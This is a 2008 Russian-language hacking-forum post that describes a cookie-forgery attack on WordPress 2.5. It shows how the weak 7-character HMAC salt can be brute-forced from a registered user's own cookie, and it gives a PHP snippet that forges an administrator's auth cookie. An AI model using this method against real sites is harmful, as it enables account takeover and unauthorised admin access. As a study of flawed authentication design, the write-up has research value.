Показать сообщение отдельно

WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках
  #62  
Старый 03.06.2008, 19:26
Аватар для Евгений Минаев
Евгений Минаев
Познающий
Регистрация: 12.11.2007
Сообщений: 70
Провел на форуме:
1214722

Репутация: 676
По умолчанию WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках

WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23

WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52

================================

Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
Цитата:
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

PHP код:
function wp_validate_auth_cookie($cookie '') {
    ........................
    list(
$username$expiration$hmac) = explode('|'$cookie);
    
$expired $expiration;
    ........................
    if ( 
$expired time() )
        return 
false;
    ........................
    
$key wp_hash($username $expiration);
    
$hash hash_hmac('md5'$username $expiration$key);
    ........................
    if ( 
$hmac != $hash )
        return 
false;
}

function 
wp_hash($data) {
    
$salt wp_salt();
    if ( 
function_exists('hash_hmac') ) {
        return 
hash_hmac('md5'$data$salt);
    } else {
        return 
md5($data $salt);
    }

Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

PHP код:
function wp_salt() {
    ........................
    if ( empty(
$salt) ) {
        
$salt wp_generate_password();
        
update_option('secret'$salt);
    }
    ........................
}

function 
wp_generate_password() {
    
$chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    
$length 7;
    
$password '';
    for ( 
$i 0$i $length$i++ )
        
$password .= substr($charsmt_rand(061), 1);
    return 
$password;

Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

PHP код:
$hmackey      hash_hmac('md5''admin' '9999999999'$salt);
$hmacpass     hash_hmac('md5''admin' '9999999999'$hmackey); 
Спасибо +toxa+ и W[4H]LF за потраченное на меня время

Цитата:
шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс

+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))

Последний раз редактировалось Elekt; 13.06.2008 в 09:22..
 
Ответить с цитированием